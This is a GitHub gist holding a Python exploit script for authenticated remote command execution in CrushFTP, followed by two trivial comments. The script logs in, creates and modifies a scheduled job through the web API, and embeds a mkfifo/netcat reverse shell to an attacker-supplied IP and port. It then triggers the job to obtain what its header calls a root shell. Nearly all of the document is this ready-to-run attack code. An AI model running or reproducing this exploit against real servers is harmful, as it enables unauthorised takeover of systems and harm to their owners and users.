Skip to content

Instantly share code, notes, and snippets.

@Frycos
Created March 26, 2021 22:25
Show Gist options
  • Save Frycos/2015161f22827d823060a8b162bc1f89 to your computer and use it in GitHub Desktop.
Save Frycos/2015161f22827d823060a8b162bc1f89 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
"""
Author: @frycos
Authenticated Remote Command Execution in all CrushFTP versions
User account has to be admin or needs job creation permissions
Should give you a root reverse shell in most cases
Vendor website: https://crushftp.com/
(+) usage: exploit.py <victimURL> <username> <password> <attackerIP> <attackerPort>
(+) eg: exploit.py https://my.crushftp.org/ crushadmin password 192.168.1.2 1337
"""
import requests
import sys
import re
import os
import ssl
import urllib3
import random
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string_generator(str_size, allowed_chars):
return ''.join(random.choice(allowed_chars) for x in range(str_size))
def login(s, t, usr, pwd):
uri = "%s/WebInterface/function/" % t
d = {
"command" : "login",
"username" : usr,
"password" : pwd,
"encoded" : "true",
"language" : "en",
"random" : "0.19905056288917877"
}
r = s.post(uri, data=d, verify=False)
return "success" in r.text
def createjob(s, t):
uri = "%s/WebInterface/function/" % t
d = {
"command" : "addJob",
"name" : "MyRCE",
"data" : """<schedules_subitem type=\"properties\"><scheduleType>manually</scheduleType><weekDays></weekDays><monthlyAmount>1</monthlyAmount>
<weeklyAmount>1</weeklyAmount><plugin>CrushTask (User Defined)</plugin><scheduleName>MyRCE</scheduleName><monthDays></monthDays><scheduleTime>8:00 AM</scheduleTime><scheduleTimeList/>
<dailyAmount>1</dailyAmount><minutelyAmount>1</minutelyAmount><save_history>true</save_history><single>false</single><singleServer>false</singleServer><save_state>true</save_state>
<max_runtime_hours>00</max_runtime_hours><max_runtime_minutes>00</max_runtime_minutes><id>32ArMXVA</id><canvasSize>3000,1174</canvasSize><connections type=\"vector\">
<connections_subitem type=\"properties\"><type>dummy</type></connections_subitem></connections><enabled>true</enabled></schedules_subitem>""",
"c2f" : s.cookies.get("currentAuth")
}
s.post(uri, data=d, verify=False)
def modjob(s, t, ai, ap, pipe):
uri = "%s/WebInterface/function/" % t
d = {
"command" : "addJob",
"name" : "MyRCE",
"data" : """<schedules_subitem type=\"properties\"><created>1616710263000</created><modified>1616710263000</modified><weekDays></weekDays><connections><connections_subitem><type>dummy</type></connections_subitem>
<type>vector</type></connections><scheduleTimeList></scheduleTimeList><plugin>CrushTask (User Defined)</plugin><save_history>true</save_history><enabled>true</enabled><monthlyAmount>1</monthlyAmount><dailyAmount>1</dailyAmount>
<singleServer>false</singleServer><canvasSize>3000,1174</canvasSize><id>32ArMXVA</id><minutelyAmount>1</minutelyAmount><weeklyAmount>1</weeklyAmount><single>false</single><max_runtime_minutes>00</max_runtime_minutes><save_state>
true</save_state><scheduleTime>8:00 AM</scheduleTime><scheduleType>manually</scheduleType><scheduleName>MyRCE</scheduleName><monthDays></monthDays><max_runtime_hours>00</max_runtime_hours>
<job_log_name>{{scheduleName}}_{{id}}.log</job_log_name><log_enabled>true</log_enabled><startPointPosition>50,10</startPointPosition><endPointPosition>421,964</endPointPosition><startPointZIndex>0</startPointZIndex>
<endPointZIndex>6</endPointZIndex><audit_trail></audit_trail><tasks type=\"vector\"><tasks_subitem type=\"properties\">
<argument>-c;mkfifo /tmp/{str1} &amp;&amp; cat /tmp/{str1}|/bin/sh -i 2&gt;&amp;1|nc {str2} {str3} &gt;/tmp/{str1}</argument><command>/bin/bash</command>
<fail_jump></fail_jump><failure_log>false</failure_log><failure_log_file>./failure.log</failure_log_file><failure_log_line>FAIL : {{taskName}}{{r}}{{n}}</failure_log_line><multiThreaded>false</multiThreaded><name>Execute</name>
<separator>;</separator><sourceFilter>*</sourceFilter><success_log>false</success_log><success_log_file>./success.log</success_log_file><success_log_line>OK : {{taskName}}{{r}}{{n}}</success_log_line>
<workingDirectory>/var/opt/CrushFTP9</workingDirectory><type>Execute</type><environment_vars></environment_vars><ignore_error>false</ignore_error><timeout>600000</timeout><write_timeout>600000</write_timeout><read_timeout>600000</read_timeout>
<onedriveTenant>common</onedriveTenant><sharepoint_site_drive_name>Documents</sharepoint_site_drive_name><random_id>true</random_id><multithreaded_s3>false</multithreaded_s3><s3_stat_head_calls>true</s3_stat_head_calls>
<connectionID>FxHMVUYx</connectionID><position>188,362</position><proxyActivePorts>1025-65535</proxyActivePorts><process_first>false</process_first><use_dmz/><task_notes></task_notes><connections type=\"vector\">
<connections_subitem type=\"properties\"><type>success</type><connectionID>EndPoint</connectionID></connections_subitem><connections_subitem type=\"properties\"><type>failure</type>
<connectionID>EndPoint</connectionID></connections_subitem></connections><zIndex>2</zIndex></tasks_subitem></tasks><connections type=\"vector\"><connections_subitem type=\"properties\"><type>start</type>
<connectionID>FxHMVUYx</connectionID></connections_subitem></connections></schedules_subitem>""".format(str1=pipe, str2=ai, str3=ap),
"c2f" : s.cookies.get("currentAuth")
}
s.post(uri, data=d, verify=False)
def triggerjob(s ,t):
uri = "%s/WebInterface/function/" % t
d = {
"command" : "testJobSchedule",
"scheduleName" : "MyRCE",
"c2f" : s.cookies.get("currentAuth")
}
s.post(uri, data=d, verify=False)
def main():
if(len(sys.argv) < 6):
print("(+) usage: %s <victimURL> <username> <password> <attackerIP> <attackerPort>" % sys.argv[0])
print("(+) eg: %s https://my.crushftp.org crushadmin password 192.168.1.2 1337" % sys.argv[0])
return
username = sys.argv[2]
password = sys.argv[3]
attackerip = sys.argv[4]
attackerport = sys.argv[5]
target = "%s" % (sys.argv[1])
print("(+) targeting %s" % target)
session = requests.Session()
print("(+) logging in")
if not login(session, target, username, password):
print("(-) login failed...")
return
print("(+) logged in successfully")
createjob(session, target)
print("(+) job created")
modjob(session, target, attackerip, attackerport, random_string_generator(12, string.ascii_letters))
print("(+) reverse shell added to job")
triggerjob(session, target)
print("(+) job triggered...look for your shell!")
if __name__ == '__main__':
main()
@Frycos
Copy link
Author

Frycos commented Apr 27, 2024

hello

👋

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment